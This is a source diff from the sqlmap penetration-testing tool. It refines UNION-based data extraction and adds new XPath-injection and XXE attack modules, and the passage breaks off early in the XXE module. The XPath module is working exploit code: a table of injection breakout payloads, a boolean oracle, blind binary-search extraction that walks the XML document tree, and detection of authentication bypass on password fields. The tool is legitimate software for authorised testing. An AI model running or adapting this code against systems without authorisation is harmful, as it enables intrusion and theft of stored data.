DBMS.SQLITE, DBMS.H2, DBMS.HSQLDB, DBMS.FIREBIRD) and expressionFields and not any((conf.binaryFields, conf.limitStart, conf.limitStop, conf.disableJson)): match = re.search(r"SELECT\s*(.+?)\bFROM", expression, re.I) - if match and not (Backend.isDbms(DBMS.ORACLE) and FROM_DUMMY_TABLE[DBMS.ORACLE] in expression) and not re.search(r"\b(MIN|MAX|COUNT)\(", expression): + if match and not (Backend.isDbms(DBMS.ORACLE) and FROM_DUMMY_TABLE[DBMS.ORACLE] in expression) and not re.search(r"\b(MIN|MAX|COUNT|EXISTS)\(", expression): kb.jsonAggMode = True if Backend.isDbms(DBMS.MYSQL): - query = expression.replace(expressionFields, "CONCAT('%s',JSON_ARRAYAGG(CONCAT_WS('%s',%s)),'%s')" % (kb.chars.start, kb.chars.delimiter, expressionFields, kb.chars.stop), 1) + query = expression.replace(expressionFields, "CONCAT('%s',JSON_ARRAYAGG(CONCAT_WS('%s',%s)),'%s')" % (kb.chars.start, kb.chars.delimiter, ','.join(agent.nullAndCastField(field) for field in expressionFieldsList), kb.chars.stop), 1) elif Backend.isDbms(DBMS.ORACLE): query = expression.replace(expressionFields, "'%s'||JSON_ARRAYAGG(%s)||'%s'" % (kb.chars.start, ("||'%s'||" % kb.chars.delimiter).join(expressionFieldsList), kb.chars.stop), 1) elif Backend.isDbms(DBMS.SQLITE): query = expression.replace(expressionFields, "'%s'||JSON_GROUP_ARRAY(%s)||'%s'" % (kb.chars.start, ("||'%s'||" % kb.chars.delimiter).join("COALESCE(%s,' ')" % field for field in expressionFieldsList), kb.chars.stop), 1) - elif Backend.isDbms(DBMS.PGSQL): # Note: ARRAY_AGG does CSV alike output, thus enclosing start/end inside each item - query = expression.replace(expressionFields, "ARRAY_AGG('%s'||%s||'%s')::text" % (kb.chars.start, ("||'%s'||" % kb.chars.delimiter).join("COALESCE(%s::text,' ')" % field for field in expressionFieldsList), kb.chars.stop), 1) + elif Backend.isDbms(DBMS.PGSQL): + query = expression.replace(expressionFields, "STRING_AGG('%s'||%s||'%s','')" % (kb.chars.start, ("||'%s'||" % kb.chars.delimiter).join("COALESCE(%s::text,' ')" % field for field in expressionFieldsList), kb.chars.stop), 1) elif Backend.isDbms(DBMS.MSSQL): query = "'%s'+(%s FOR JSON AUTO, INCLUDE_NULL_VALUES)+'%s'" % (kb.chars.start, expression, kb.chars.stop) + elif Backend.getIdentifiedDbms() in (DBMS.H2, DBMS.HSQLDB): + query = expression.replace(expressionFields, "GROUP_CONCAT('%s'||%s||'%s' SEPARATOR '')" % (kb.chars.start, ("||'%s'||" % kb.chars.delimiter).join(agent.nullAndCastField(field) for field in expressionFieldsList), kb.chars.stop), 1) + elif Backend.isDbms(DBMS.FIREBIRD): + query = expression.replace(expressionFields, "LIST('%s'||%s||'%s','')" % (kb.chars.start, ("||'%s'||" % kb.chars.delimiter).join(agent.nullAndCastField(field) for field in expressionFieldsList), kb.chars.stop), 1) output = _oneShotUnionUse(query, False) value = parseUnionPage(output) kb.jsonAggMode = False + # If the single-shot aggregate failed (typically too large for the DBMS packet limit / + # response cap) and the table is large, retrieve the rows in bounded windows (chunked + # JSON aggregation) before the slow per-row fallback. Done here (independent of the + # detected UNION where-clause) so it engages for any dumpable FROM-table query. + if value is None and " FROM " in expression.upper() and not re.search(SQL_SCALAR_REGEX, expression, re.I) and not any((conf.disableJson, conf.binaryFields, conf.limitStart, conf.limitStop)): + chunkCountExpr = expression.replace(expressionFields, queries[Backend.getIdentifiedDbms()].count.query % '*', 1) + if " ORDER BY " in chunkCountExpr.upper(): + chunkCountExpr = chunkCountExpr[:chunkCountExpr.upper().rindex(" ORDER BY ")] + chunkCount = unArrayizeValue(parseUnionPage(_oneShotUnionUse(chunkCountExpr, unpack))) + if isNumPosStrValue(chunkCount) and (int(chunkCount) >= JSON_AGG_CHUNK_ROWS or kb.respTruncated): + value = _chunkedJsonAggUse(expression, expressionFields, expressionFieldsList, int(chunkCount)) + # We have to check if the SQL query might return multiple entries # if the technique is partial UNION query and in such case forge the # SQL limiting the query output one entry at a time @@ -279,8 +391,10 @@ def unionUse(expression, unpack=True, dump=False): expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition(expression, dump) if limitCond: - # Count the number of SQL query entries output - countedExpression = expression.replace(expressionFields, queries[Backend.getIdentifiedDbms()].count.query % ('*' if len(expressionFieldsList) > 1 else expressionFields), 1) + # Count the number of SQL query entries output. NOTE: always COUNT(*) (row count); a single + # field must NOT use COUNT(field) as that excludes NULLs and would drop NULL-valued rows from + # the dump (e.g. a column whose value is NULL on some rows). + countedExpression = expression.replace(expressionFields, queries[Backend.getIdentifiedDbms()].count.query % '*', 1) if " ORDER BY " in countedExpression.upper(): _ = countedExpression.upper().rindex(" ORDER BY ") @@ -308,7 +422,7 @@ def unionUse(expression, unpack=True, dump=False): stopLimit = 1 - elif (not count or int(count) == 0): + elif not isNumPosStrValue(count): if not count: warnMsg = "the SQL query provided does not " warnMsg += "return any output" @@ -414,7 +528,7 @@ def unionThread(): _ = ','.join("'%s'" % _ for _ in (flattenValue(arrayizeValue(items)) if not isinstance(items, six.string_types) else [items])) status = "[%s] [INFO] %s: %s" % (time.strftime("%X"), "resumed" if threadData.resumed else "retrieved", _ if kb.safeCharEncode else safecharencode(_)) - if len(status) > width: + if len(status) > width and not conf.noTruncate: status = "%s..." % status[:width - 3] dataToStdout("%s\n" % status) diff --git a/lib/techniques/xpath/__init__.py b/lib/techniques/xpath/__init__.py new file mode 100644 index 00000000000..bcac841631b --- /dev/null +++ b/lib/techniques/xpath/__init__.py @@ -0,0 +1,8 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +pass diff --git a/lib/techniques/xpath/inject.py b/lib/techniques/xpath/inject.py new file mode 100644 index 00000000000..da938cc24e3 --- /dev/null +++ b/lib/techniques/xpath/inject.py @@ -0,0 +1,691 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import difflib +import re +import time + +from collections import namedtuple + +from lib.core.common import beep +from lib.core.common import randomStr +from lib.core.convert import getUnicode +from lib.core.data import conf +from lib.core.data import logger +from lib.core.enums import CUSTOM_LOGGING +from lib.core.enums import PLACE +from lib.core.settings import UPPER_RATIO_BOUND +from lib.core.settings import XPATH_CHAR_MAX +from lib.core.settings import XPATH_CHAR_MIN +from lib.core.settings import XPATH_ERROR_REGEX +from lib.core.settings import XPATH_ERROR_SIGNATURES +from lib.core.settings import XPATH_MAX_DEPTH +from lib.core.settings import XPATH_MAX_LENGTH +from lib.request.connect import Connect as Request +from lib.utils.xrange import xrange + + +SENTINEL = randomStr(length=10, lowercase=True) + +XPATH_PLACES = (PLACE.GET, PLACE.POST, PLACE.CUSTOM_POST) + +# Each detection breakout is paired with a false variant and an (optional) extraction +# boundary. The boundary carries a prefix/suffix pair that wraps the extraction +# predicate so the surrounding template stays syntactically valid. +# +# Breakouts are listed in detection-priority order: function-argument closers first, +# then simple string, double-quoted, union wildcard, and bare numeric/boolean. + +_BREAKOUT_TABLE = ( + # (breakout, false_variant, extraction_prefix, extraction_suffix ) + # -- function-argument (closes paren + string) ------------------------------------------------------------ + ("') or true() or ('", "') and false() and ('", "') or ", " or ('"), + ("') or '1'='1' or ('", "') and '1'='2' and ('", "') or ", " or ('"), + ("') or 1=1 or ('", "') and 1=2 and ('", "') or ", " or ('"), + # -- single-quoted string (suffix absorbs trailing quote; predicate decisive when original value unmatched) + ("' or '1'='1", "' and '1'='2", "' or ", " and '1'='1"), + ("' or true() or '", "' and false() and '", "' or ", " and '1'='1"), + ("' or 1=1 or '", "' and 1=2 and '", "' or ", " and '1'='1"), + # -- AND context (single-quoted) ------------------------------------------------------------------------- + ("' and '1'='1", "' and '1'='2", "' and ", " and '1'='1"), + # -- double-quoted string (suffix absorbs trailing quote) ------------------------------------------------- + ('" or "1"="1', '" and "1"="2', '" or ', ' and "1"="1'), + ('" or true() or "', '" and false() and "', '" or ', ' and "1"="1'), + # -- double-quoted function-argument --------------------------------------------------------------------- + ('") or true() or ("', '") and false() and ("', '") or ', ' or ("'), + # -- union wildcard (detection-only, no extraction) ------------------------------------------------------ + ("']|//*|test['", None, None, None), + # -- numeric / bare context (extraction uses 'and'; requires original value to not match anything) ---------- + (" or 1=1", " and 1=2", " and ", ""), + (" or true()", " and false()", " and ", ""), +) + +# Boundary: a verified injection boundary with an extraction prefix+suffix and an +# extractable flag. Only extractable boundaries can drive tree-walking. +Boundary = namedtuple("Boundary", ("prefix", "suffix", "extractable")) + +# Convenience lookups built from _BREAKOUT_TABLE +_BREAKOUT_FALSE_MAP = {} +_BREAKOUT_BOUNDARY = {} +_BREAKOUT_LIST = [] +for _entry in _BREAKOUT_TABLE: + _bk, _fv, _pfx, _sfx = _entry + _BREAKOUT_LIST.append(_bk) + _BREAKOUT_FALSE_MAP[_bk] = _fv + if _pfx is not None: + _BREAKOUT_BOUNDARY[_bk] = Boundary(_pfx, _sfx, True) + else: + _BREAKOUT_BOUNDARY[_bk] = None +XPATH_BREAKOUT_PREFIXES = tuple(_BREAKOUT_LIST) + +Slot = namedtuple("Slot", ("place", "parameter", "backend", "oracle", "template", "payload", "boundary")) +Slot.__new__.__defaults__ = (None, None, None, None, None, None, None) + + +def _ratio(first, second): + return difflib.SequenceMatcher(None, first or "", second or "").quick_ratio() + + +def _delim(place): + return (conf.cookieDel or ';') if place == PLACE.COOKIE else '&' + + +def _confParameters(place): + try: + return conf.parameters.get(place, "") + except AttributeError: + return conf.parameters[place] if place in conf.parameters else "" + + +def _originalValue(place, parameter): + for segment in _confParameters(place).split(_delim(place)): + name, _, value = segment.partition('=') + if name.strip() == parameter: + return value + return conf.paramDict.get(place, {}).get(parameter) or "" + + +def _replaceSegment(place, parameter, value): + delimiter = _delim(place) + raw = _confParameters(place) + retVal, replaced = [], False + + for part in raw.split(delimiter): + name, _, _ = part.partition('=') + if not replaced and name.strip() == parameter: + retVal.append("%s=%s" % (name, value)) + replaced = True + else: + retVal.append(part) + + if not replaced: + retVal = [] + for name, oldValue in conf.paramDict.get(place, {}).items(): + retVal.append("%s=%s" % (name, value if name == parameter else oldValue)) + + return delimiter.join(retVal) + + +def _send(place, parameter, value): + """Issue a single HTTP request with the target parameter set to `value`. + Temporarily mutates conf.parameters so sqlmap's normal request machinery + (URL construction, cookies, headers, encodings) is fully preserved.""" + + if conf.delay: + time.sleep(conf.delay) + + old_params = conf.parameters.get(place, "") + conf.parameters[place] = _replaceSegment(place, parameter, value) + + try: + kwargs = {"raise404": False, "silent": True} + if conf.verbose >= 3: + logger.log(CUSTOM_LOGGING.PAYLOAD, "%s=%s" % (parameter, value)) + page, _, _ = Request.getPage(**kwargs) + return page or "" + except Exception as ex: + logger.debug("XPath probe request failed: %s" % getUnicode(ex)) + return "" + finally: + conf.parameters[place] = old_params + + +def _isError(page): + return bool(re.search(XPATH_ERROR_REGEX, getUnicode(page or ""))) + + +def _backendFromError(page): + page = getUnicode(page or "") + for backend, regex in XPATH_ERROR_SIGNATURES: + if re.search(regex, page): + return backend + return "Generic XPath" if _isError(page) else None + + +def _probeBackendByParserError(place, parameter): + """Probe for XPath parser errors to obtain a backend hint. + This is NOT authoritative detection -- only a boolean oracle confirms injection.""" + + original = _originalValue(place, parameter) or "x" + normal = _send(place, parameter, original) + + for suffix in ("'", '"', "')", '")', "]", "|"): + payload = original + suffix + broken = _send(place, parameter, payload) + + if not normal or _ratio(normal, broken) >= UPPER_RATIO_BOUND: + continue + + backend = _backendFromError(broken) + if backend and not _isError(normal): + return backend, payload + + return None, None + + +def _boolean(truthy, falsy): + """Return the reproducible true page when true/false probes diverge. + Both true AND false pages must be independently reproducible.""" + + truePage = truthy() + if truePage is None or _isError(truePage): + return None + + truePage2 = truthy() + if _ratio(truePage, truePage2) < UPPER_RATIO_BOUND: + return None + + falsePage = falsy() + if falsePage is None or _isError(falsePage): + return None + + falsePage2 = falsy() + if _ratio(falsePage, falsePage2) < UPPER_RATIO_BOUND: + return None + + if _ratio(truePage, falsePage) < UPPER_RATIO_BOUND: + return truePage + + return None + + +def _makePayload(original, boundary, predicate): + """Construct a payload by inserting `predicate` into the verified boundary.""" + if boundary.suffix: + return "%s%s%s%s" % (original, boundary.prefix, predicate, boundary.suffix) + return "%s%s%s" % (original, boundary.prefix, predicate) + + +def _detectBoolean(place, parameter): + """Return (template, payload, boundary) for boolean-blind XPath injection. + boundary is None for detection-only breakouts (wildcard, union).""" + + original = _originalValue(place, parameter) or "" + + for breakout in XPATH_BREAKOUT_PREFIXES: + truePayload = original + breakout + falseVariant = _BREAKOUT_FALSE_MAP.get(breakout) + if not falseVariant: + continue + + falseSpecific = original + falseVariant + template = _boolean(lambda p=truePayload: _send(place, parameter, p), + lambda p=falseSpecific: _send(place, parameter, p)) + if template: + boundary = _BREAKOUT_BOUNDARY.get(breakout) + return template, truePayload, boundary + + # Wildcard: only useful for bool differentiation, not enumeration + if original: + template = _boolean(lambda: _send(place, parameter, "*"), + lambda: _send(place, parameter, SENTINEL)) + if template: + return template, "*", None + + return None, None, None + + +def _isPasswordParam(parameter): + parameter = getUnicode(parameter or "").lower() + return any(_ in parameter for _ in ("pass", "pwd", "secret", "pin", "cred", "key", "token", "auth")) + + +def _fingerprintByError(backend): + if not backend: + return None + for name, _ in XPATH_ERROR_SIGNATURES: + if name in backend: + return name + return backend + + +def _xpathQuote(s): + """Quote a string for an XPath string literal, choosing the delimiter that + requires no escaping. When both quotes appear, use concat().""" + + s = getUnicode(s) + if "'" not in s: + return "'%s'" % s + if '"' not in s: + return '"%s"' % s + # both quote types present: use concat() with " as outer delimiter + return "concat(%s)" % ", '\"', ".join('"%s"' % part for part in s.split('"')) + + +class _XPathPayloadBuilder(object): + """Build XPath boolean predicates for blind tree-walking using the verified + injection boundary from detection. Each method returns a complete payload.""" + + def __init__(self, original, boundary): + self.original = original or "x" + self.boundary = boundary + + def _make(self, predicate): + return _makePayload(self.original, self.boundary, predicate) + + def nameStartsWith(self, path, prefix): + return self._make("starts-with(name(%s),%s)" % (path, _xpathQuote(prefix))) + + def nameLength(self, path, length): + return self._make("string-length(name(%s))=%d" % (path, length)) + + def childCount(self, path, count): + return self._make("count(%s/*)>=%d" % (path, count)) + + def attributeCount(self, path, count): + return self._make("count(%s/@*)>=%d" % (path, count)) + + def attributeNameStartsWith(self, path, index, prefix): + return self._make("starts-with(name(%s/@*[%d]),%s)" % (path, index, _xpathQuote(prefix))) + + def attributeValueStartsWith(self, path, index, prefix): + return self._make("starts-with(string(%s/@*[%d]),%s)" % (path, index, _xpathQuote(prefix))) + + def textStartsWith(self, path, prefix): + return self._make("starts-with(string(%s),%s)" % (path, _xpathQuote(prefix))) + + def stringLengthAtLeast(self, target, n): + return self._make("string-length(%s)>=%d" % (target, n)) + + def charPresent(self, target, pos): + # True when the character at 1-based position `pos` of `target` belongs to + # the known ordered charset (so its index can be resolved by bisection). + return self._make("contains(%s,substring(%s,%d,1))" % (_CS_LITERAL, target, pos)) + + def charIndexAtLeast(self, target, pos, n): + # The 0-based index of a charset member equals the length of the charset + # prefix preceding it (XPath 1.0 has no lexicographic '<', but + # string-length(substring-before(...)) yields a number we can bisect on). + return self._make("string-length(substring-before(%s,substring(%s,%d,1)))>=%d" % (_CS_LITERAL, target, pos, n)) + + +def _makeOracle(place, parameter, template): + """Build an oracle from a verified true template. extract(payload) returns + True when the response is closer to the true template than to the false page.""" + + cache = {} + + def request(payload): + if payload not in cache: + cache[payload] = _send(place, parameter, payload) + return cache[payload] + + falsePage = request(SENTINEL) + + def oracle(payload): + page = request(payload) + if page is None or _isError(page): + return False + return _ratio(template, page) >= UPPER_RATIO_BOUND + + def extract(payload): + page = request(payload) + if page is None or _isError(page): + return False + trueRatio = _ratio(template, page) + falseRatio = _ratio(falsePage, page) + # Require either an unambiguous match against the template or a + # clear separation from the false page (minimum 5 %pt margin) + return trueRatio >= UPPER_RATIO_BOUND or (trueRatio - falseRatio) > 0.05 + + oracle.extract = extract + oracle.template = template + oracle.falsePage = falsePage + oracle.cache = cache + return oracle + + +# Frequency-ordered charset for blind character extraction. +# Excludes characters that are XPath metacharacters or problematic in URL context. +_META_ORDS = set(ord(_) for _ in ("'", '"', '[', ']', '<', '>', '&', '/')) +_FREQ = (tuple(xrange(ord('a'), ord('z') + 1)) + + tuple(xrange(ord('A'), ord('Z') + 1)) + + tuple(xrange(ord('0'), ord('9') + 1)) + + tuple(ord(_) for _ in "@._-+ ")) +_CHARSET = [] +for _ in _FREQ: + if XPATH_CHAR_MIN <= _ <= XPATH_CHAR_MAX and _ not in _META_ORDS and _ not in _CHARSET: + _CHARSET.append(_) +for _ in xrange(XPATH_CHAR_MIN, XPATH_CHAR_MAX + 1): + if _ not in _META_ORDS and _ not in _CHARSET: + _CHARSET.append(_) + +# Codepoint-ordered charset used by the binary-search extractor. Ordering here MUST match +# the literal string `_CS_LITERAL` so that a recovered index maps back to the right character. +_CS_ORDS = [_ for _ in xrange(XPATH_CHAR_MIN, XPATH_CHAR_MAX + 1) if _ not in _META_ORDS] +_CS_LITERAL = _xpathQuote("".join(chr(_) for _ in _CS_ORDS)) + + +def _inferValue(oracle, builder, path, getter, maxLen=XPATH_MAX_LENGTH): + """Blindly infer a string value at `path` using `getter(builder, path, prefix)`. + Returns the recovered value or None.""" + + value = "" + probes = 0 + + for _ in xrange(maxLen): + found = False + + for cp in _CHARSET: + candidate = value + chr(cp) + probes += 1 + + if oracle.extract(getter(builder, path, candidate)): + value = candidate + found = True + break + + if not found: + break + + if value.endswith(" "): + value = value.rstrip() + break + + logger.debug("XPath blind inference: %d probes (length=%d)" % (probes, len(value))) + return value if value else None + + +def _inferCount(oracle, builder, path, countFn, maxCount=128): + """Binary search for a count value using predicate 'count(...)>=N'.""" + + if not oracle.extract(countFn(builder, path, 1)): + return 0 + + lo, hi = 1, maxCount + while lo < hi: + mid = (lo + hi + 1) // 2 + if oracle.extract(countFn(builder, path, mid)): + lo = mid + else: + hi = mid - 1 + return lo + + +def _inferString(oracle, builder, target, maxLen=XPATH_MAX_LENGTH): + """Blindly recover the string value of XPath expression `target` (e.g. + "name(/*)" or "string(/*[1]/@*[1])") using binary search. + + The length is bisected first, then each character is resolved by bisecting + its index inside the ordered charset. This needs ~log2(len) requests per + character versus the linear charset scan in _inferValue(), which matters a + lot when walking a whole document tree. Characters outside the charset are + surfaced as '?' so the rest of the value is still recovered.""" + + if not oracle.extract(builder.stringLengthAtLeast(target, 1)): + return None + + lo, hi = 1, maxLen + while lo < hi: + mid = (lo + hi + 1) // 2 + if oracle.extract(builder.stringLengthAtLeast(target, mid)): + lo = mid + else: + hi = mid - 1 + length = lo + + chars = [] + probes = 0 + last = len(_CS_ORDS) - 1 + for pos in xrange(1, length + 1): + probes += 1 + if not oracle.extract(builder.charPresent(target, pos)): + chars.append("?") + continue + + clo, chi = 0, last + while clo < chi: + cmid = (clo + chi + 1) // 2 + probes += 1 + if oracle.extract(builder.charIndexAtLeast(target, pos, cmid)): + clo = cmid + else: + chi = cmid - 1 + chars.append(chr(_CS_ORDS[clo])) + + value = "".join(chars) + logger.debug("XPath blind inference: %d probes (length=%d)" % (probes, length)) + return value or None + + +def _walkTree(oracle, builder, path="/*", depth=0): + """Recursively walk the XML tree from a given XPath expression. + Returns a dict: {name, path, children, attributes, text} or None.""" + + if depth > XPATH_MAX_DEPTH: + return None + + name = _inferString(oracle, builder, "name(%s)" % path) + if not name: + return None + + logger.info("discovered element: '%s'" % name) + + childCount = _inferCount(oracle, builder, path, + lambda b, p, c: b.childCount(p, c), + maxCount=32) + if childCount >= 32: + logger.warning("element '%s' hit the 32-child cap; some child nodes may be omitted" % name) + + attrCount = _inferCount(oracle, builder, path, + lambda b, p, c: b.attributeCount(p, c), + maxCount=16) + if attrCount >= 16: + logger.warning("element '%s' hit the 16-attribute cap; some attributes may be omitted" % name) + + attributes = [] + for i in xrange(1, attrCount + 1): + attrName = _inferString(oracle, builder, "name(%s/@*[%d])" % (path, i)) + if not attrName: + continue + + attrValue = _inferString(oracle, builder, "string(%s/@*[%d])" % (path, i)) + attributes.append({"name": attrName, "value": attrValue or ""}) + logger.info(" attribute: @%s='%s'" % (attrName, attrValue or "")) + + text = None + if childCount == 0: + text = _inferString(oracle, builder, "string(%s)" % path) + + children = [] + for i in xrange(1, childCount + 1): + childPath = "%s/*[%d]" % (path, i) + child = _walkTree(oracle, builder, childPath, depth + 1) + if child: + children.append(child) + + return { + "name": name, + "path": path, + "children": children, + "attributes": attributes, + "text": text, + } + + +def _treeToTable(node): + """Flatten a tree node to (columns, rows) for grid output.""" + + columns = ["Path", "Element", "Attribute", "Value"] + rows = [] + + def _flatten(n, depth=0): + path = n["path"] + rows.append([path, n["name"], "", ""]) + for attr in n.get("attributes", []): + rows.append([path, n["name"], "@" + attr["name"], attr["value"]]) + if n.get("text"): + rows.append([path, n["name"], "text()", n["text"]]) + for child in n.get("children", []): + _flatten(child, depth + 1) + + _flatten(node) + return columns, [_ for _ in rows if _[3] or _[2] not in ("", "text()")] + + +def _grid(columns, rows): + columns = [getUnicode(_) for _ in columns] + rows = [[getUnicode(_) for _ in row] for row in rows] + + widths = [] + for index, column in enumerate(columns): + width = len(column) + for row in rows: + if index < len(row): + width = max(width, len(getUnicode(row[index]))) + widths.append(width) + + separator = "+-" + "-+-".join("-" * _ for _ in widths) + "-+" + + def line(cells): + return "| " + " | ".join((getUnicode(cells[index]) if index < len(cells) else "").ljust(widths[index]) for index in xrange(len(columns))) + " |" + + return "\n".join([separator, line(columns), separator] + [line(row) for row in rows] + [separator]) + + +def _dumpTable(title, columns, rows): + if rows: + conf.dumper.singleString("%s:\n%s" % (title, _grid(columns, rows))) + + +def xpathScan(): + global SENTINEL + SENTINEL = randomStr(length=10, lowercase=True) + + debugMsg = "'--xpath' is self-contained: it detects XPath injection in HTTP " + debugMsg += "parameters and walks the reachable XML document tree. SQL enumeration " + debugMsg += "switches (--banner, --dbs, --tables, --users, --sql-query) are ignored" + logger.debug(debugMsg) + + if not conf.paramDict: + logger.error("no request parameters to test (use --data, GET params, or similar)") + return + + tested = found = 0 + slots = [] + + for place in (_ for _ in XPATH_PLACES if _ in conf.paramDict): + for parameter in list(conf.paramDict[place].keys()): + if conf.testParameter and parameter not in conf.testParameter: + continue + + tested += 1 + logger.info("testing XPath injection on %s parameter '%s'" % (place, parameter)) + + # Phase 1: Probe the XPath parser for a backend hint + backendHint, _errorPayload = _probeBackendByParserError(place, parameter) + if backendHint: + backendHint = _fingerprintByError(backendHint) + + # Phase 2: Establish a boolean oracle (authoritative) + template, payload, boundary = _detectBoolean(place, parameter) + if template: + if boundary and boundary.extractable: + found += 1 + backend = backendHint or "Generic XPath" + logger.info("%s parameter '%s' is vulnerable to XPath injection (back-end: '%s')" % (place, parameter, backend)) + if conf.beep: + beep() + + oracle = _makeOracle(place, parameter, template) + slots.append(Slot(place=place, parameter=parameter, backend=backend, + oracle=oracle, template=template, payload=payload, + boundary=boundary)) + continue + + # Detection-only: boolean differentiation confirmed but no extraction boundary. + # Report as auth bypass on credential fields; log generically otherwise. + found += 1 + if _isPasswordParam(parameter): + title = "XPath auth bypass" + logger.info("%s parameter '%s' allows XPath auth bypass (boolean differentiation confirmed)" % (place, parameter)) + else: + title = "XPath boolean-based blind (detection-only)" + logger.info("%s parameter '%s' is vulnerable to XPath injection (detection-only, back-end: '%s')" % (place, parameter, backendHint or "Generic XPath")) + if conf.beep: + beep() + conf.dumper.singleString("---\nParameter: %s (%s)\n Type: XPath injection\n Title: %s\n Payload: %s=%s\n---" % (parameter, place, title, parameter, payload)) + continue + + if backendHint: + logger.info("%s parameter '%s' reaches an XPath parser (back-end: '%s'), but no exploitable boolean oracle was established" % (place, parameter, backendHint)) + + if not slots: + if found: + logger.info("XPath injection confirmed (detection-only, no extractable boundary established)") + logger.info("XPath scan complete") + return + if tested: + warnMsg = "no parameter appears to be injectable via XPath injection (%d tested)" % tested + else: + warnMsg = "no parameters found to test for XPath injection" + logger.warning(warnMsg) + return + + # Select the first oracle-bearing slot with an extractable boundary for tree-walking + slot = next((_ for _ in slots if _.oracle and _.boundary and _.boundary.extractable), None) + if not slot: + logger.info("XPath scan complete") + return + + original = _originalValue(slot.place, slot.parameter) or "x" + # OR-style boundaries always-true if the original branch matches, so use a + # sentinel that is guaranteed not to appear as a field value. AND-style + # boundaries need the original branch to match; keep the original there. + if " or " in slot.boundary.prefix: + base = SENTINEL + else: + base = original + builder = _XPathPayloadBuilder(base, slot.boundary) + oracle = slot.oracle + + # Refine backend fingerprint if generic + if not slot.backend or slot.backend == "Generic XPath": + backend = _backendFromError(oracle.template) + if backend: + backend = _fingerprintByError(backend) + if backend: + logger.info("identified back-end: '%s'" % backend) + slot = slot._replace(backend=backend) + + title = "XPath boolean-based blind" + conf.dumper.singleString("---\nParameter: %s (%s)\n Type: XPath injection\n Title: %s\n Payload: %s=%s\n---" % (slot.parameter, slot.place, title, slot.parameter, slot.payload)) + + # Blind XML tree-walking (attempted document-root traversal) + logger.info("walking XML document tree (depth limit: %d)" % XPATH_MAX_DEPTH) + root = _walkTree(oracle, builder) + + if root: + columns, rows = _treeToTable(root) + logger.info("extracted %d node(s) from XML tree" % (len(rows))) + _dumpTable("XPath: %s parameter '%s' XML tree" % (slot.place, slot.parameter), columns, rows) + else: + warnMsg = "XPath injection is confirmed but the XML tree could not be walked. " + warnMsg += "This may indicate a restricted XPath context (subtree, scalar, or predicate-only)" + logger.warning(warnMsg) + + logger.info("XPath scan complete") diff --git a/lib/techniques/xxe/__init__.py b/lib/techniques/xxe/__init__.py new file mode 100644 index 00000000000..bcac841631b --- /dev/null +++ b/lib/techniques/xxe/__init__.py @@ -0,0 +1,8 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +pass diff --git a/lib/techniques/xxe/inject.py b/lib/techniques/xxe/inject.py new file mode 100644 index 00000000000..1e62de59a59 --- /dev/null +++ b/lib/techniques/xxe/inject.py @@ -0,0 +1,928 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import re +import time + +from lib.core.common import beep +from lib.core.common import dataToOutFile +from lib.core.common import randomStr +from lib.core.common import readInput +from lib.core.common import singleTimeWarnMessage +from lib.core.convert import getBytes +from lib.core.convert import getText +from lib.core.convert import getUnicode +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.dicts import POST_HINT_CONTENT_TYPES +from lib.core.enums import CUSTOM_LOGGING +from lib.core.enums import HTTP_HEADER +from lib.core.enums import HTTPMETHOD +from lib.core.settings import ASTERISK_MARKER +from lib.core.settings import XXE_BLACKHOLE_HOST +from lib.core.settings import XXE_ERROR_SIGNATURES +from lib.core.settings import XXE_FILE_HARVEST +from lib.core.settings import XXE_HARDENED_REGEX +from lib.core.settings import XXE_IMPACT_FILES +from lib.core.settings import XXE_SOURCE_NAMES +from lib.core.settings import XXE_WEBROOTS +from lib.core.settings import OOB_POLL_ATTEMPTS +from lib.core.settings import OOB_POLL_DELAY +from lib.core.settings import XXE_LOCAL_DTDS +from lib.core.settings import XXE_TIME_THRESHOLD +from lib.request.connect import Connect as Request + +# Fresh per-scan sentinel token. Deliberately a random opaque string (never +# root:x:0:0 or similar) so it cannot collide with a WAF honeypot signature and +# so its presence in a response is unambiguously our reflected/expanded value. +SENTINEL = randomStr(length=12, lowercase=True) + +# When the user marked an explicit injection point in the body (e.g. 'luther*'), +# it is preserved as this placeholder and used as the SOLE injection spot, instead of +# rewriting every node - so schema/signature/id/auth-sensitive documents stay intact. +_MARKER = None + +# Cached answer to the one-time "use a public OOB service?" consent prompt (per scan). +_OOB_CONSENT = None + +# First element of the document (skipping the prolog, comments and any +# DOCTYPE). Its name must match the DOCTYPE name or libxml2/Xerces reject the doc. +_ROOT_RE = re.compile(r"<\s*([A-Za-z_][\w.\-]*(?::[\w.\-]+)?)") + +# A leaf text node: >text< with no markup/entities inside. Used to place an +# entity reference where the application is most likely to echo it back. +_TEXTNODE_RE = re.compile(r">(\s*[^<>&\s][^<>&]*)<") + + +def _looksXml(data): + data = (getText(data) or "").strip() + return data.startswith("<") and re.search(r"<[A-Za-z_?!]", data) is not None and '>' in data + + +def _toSystemId(path): + """Normalise a user file path (Unix, Windows, or already a URI) to a file:// systemId, + consistently across every tier.""" + p = getText(path or "").strip() + if "://" in p: + return p + return "file:///" + p.replace("\\", "/").lstrip("/") + + +def _toResource(path): + """Plain absolute path for a php://filter 'resource=' argument (URI/backslashes stripped).""" + p = getText(path or "").strip() + if p.startswith("file://"): + p = p[len("file://"):] + p = p.replace("\\", "/") + if re.match(r"^/?[A-Za-z]:/", p): # keep a Windows drive path as 'C:/...' + return p.lstrip("/") + return "/" + p.lstrip("/") + + +def _cleanBody(): + """Return the original request body with sqlmap's injection marks removed. + Order matters: drop the injected custom marks first (any literal '*' from the + original body was already escaped to ASTERISK_MARKER by target processing), + then restore those escaped asterisks.""" + global _MARKER + _MARKER = None + data = getText(conf.data or "") + mark = kb.customInjectionMark or "\x00" + if kb.get("processUserMarks") and mark in data: + # user chose the injection point explicitly - honour it as the SOLE spot + _MARKER = "xxemark%s" % randomStr(10, lowercase=True) + data = data.replace(mark, _MARKER, 1).replace(mark, "") + else: + data = data.replace(mark, "") + data = data.replace(ASTERISK_MARKER, "*") + return data.lstrip(u"\ufeff\ufffe") # drop a leading BOM so root/DOCTYPE handling stays correct + + +def _rootName(xml): 